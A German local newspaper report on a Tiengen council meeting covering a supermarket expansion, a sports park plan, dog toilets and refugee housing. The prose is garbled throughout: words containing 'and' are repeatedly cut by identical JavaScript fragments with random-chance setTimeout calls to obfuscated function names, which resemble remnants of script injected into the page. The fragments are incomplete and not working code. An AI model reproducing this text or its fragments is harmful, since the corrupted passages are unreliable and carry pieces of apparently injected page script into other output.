Bei der Sitzung des Tiengener Ortschaftsrates am Montagabend standom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anden mit dem favorisierten Ausbau des Edeka-Marktes und der Diskussion über Ausgaben aus den Verfügungsmitteln zwei größere Themenblöcke im Vordergrund. Ein einstimmiges Votum gab es zudem für den Plan zur Weiterentwicklung des Erholungs- und Sportparks Reutemattensee.
Wie schon in andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anderen Stadtteilen stellte Rolf Bertram von der Abteilung Stadtentwicklung im Stadtplanungsamt den Entwurf des neuen „Einzelhandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andels- und Zentrenkonzepts“ vor. Schnell wurde deutlich, dass die Ortschaftsräte vor allem an einem Thema Interesse hatten: Was passiert mit dem Ausbau des Edeka-Marktes? Der Stadtentwickler zeigte auf, dass in Tiengen wie in den andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anderen Stadtteilen die mehr als zehn Jahre alten Grenzen der Ortszentren neu definiert werden sollten. Für Tiengen würde das bedeuten, dass der Markt mit zum Zentrum gehören könnte. Nicht ausgeräumt wäre damit die Debatte um seine Größe. In der geplanten Erweiterung von 800 auf 1000 Quadratmeter sieht Bertram kein Problem, zumal die Erweiterung im Sondergebiet des Bebauungsplanes schon vorgesehen ist.
Für eine kontroverse Diskussion sorgte der Wunsch der Räte, dem Markt eine Erweiterung auf 1200 Quadratmeter zuzugestehen. Dahinter steht die Sorge, dass Edeka für eine kleinere Erweiterung kein Geld in die Handom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and nehmen würde, dass das Sortiment im Vergleich zum Markt in Opfingen weiterhin beschränkt bliebe und die Tiengener mit ihrer Kaufkraft in den Nachbarort gingen. „Es sieht sonst eher so aus, dass wir uns zurückentwickeln“, sagte Alfred Plank (Aktive Bürger Tiengen, ABT). Für die Stadtplaner ist dagegen die Grundversorgung gemäß den Einwohnerzahlen zurzeit genau richtig festgelegt. Eine Änderung wäre nur mit einem Antrag auf Änderung des Bebauungsplanes möglich, verbunden mit einer Analyse der städtebaulichen Auswirkungen. Für negative Punkte würde zum Beispiel die Konkurrenz für Opfingen sorgen. Für die Räte fasste Georg Textor (Unabhängige Bürgerinnen und Bürger) die Stimmung zusammen: „Wir sollten den holprigen Weg gehen und den Antrag auf Änderung des Bebauungsplanes stellen.“
Areal am Reutemattensee
Einigkeit herrschte bei der Weiterentwicklung des Areals am Reutemattensee. Die Projektgruppe „Vereine“ hat mit den fünf am Reutemattensee angesiedelten Vereinen und den Eigentümern den Räten ein Gesamtkonzept für den „Erholungs- und Sportpark“ vorgelegt. Das Konzept, in dem die Plätze für den neuen Rugby-Verein, der Kunstrasenplatz für die Fußballer, der erweiterte Springplatz für die Reiter und die Tennisplätze neben dem Beachvolleyballplatz aufgeführt sind, geht nun an die Stadt.
Intensiv debattiert wurde, ob von den Verfügungsmitteln des Rates für 670 Euro zwei Hundetoiletten angeschafft werden sollen. Für die einen wäre das die Subventionierung eines privaten Vergnügens, dessen Folgen in Form von Hundekot von den Haltern aber selbst beseitigt werden sollten. Für die andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anderen war es ein Beitrag zur Verschönerung des Ortsbildes, von dem alle profitierten. Kritisiert wurden von Sonja Krinke (Wählervereinigung Tiengener Bürger) die unverhältnismäßig hohen Kosten im Vergleich zu den Beträgen, die für Vereine ausgegeben würden. Mit klarer Mehrheit sprachen sich die Räte jedoch für zwei Hundetoiletten mit einem Testlauf aus.
Ortsvorsteher Maximilian Schächtele (ABT) informierte, dass zum Wochenende fünf Flüchtlingsfamilien aus Opfingen in die Wohnungen eines Privathauses ziehen. 40 weitere Flüchtlinge aus Opfingen wechseln am Wochenende 21./22. Mai zusammen mit weiteren Neuankömmlingen in das neue Haus „Im Maierbrühl“.
Ein Bauantrag für einen Carport mit begrüntem Flachdach fandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and die einstimmige Unterstützung des Rates.
Sitzungsdauer: 135 Minuten.
Teilnehmer: elf von zwölf Räten.
Zuhörer:16.
(Eva Opitz in BZ v. 11.05.2016)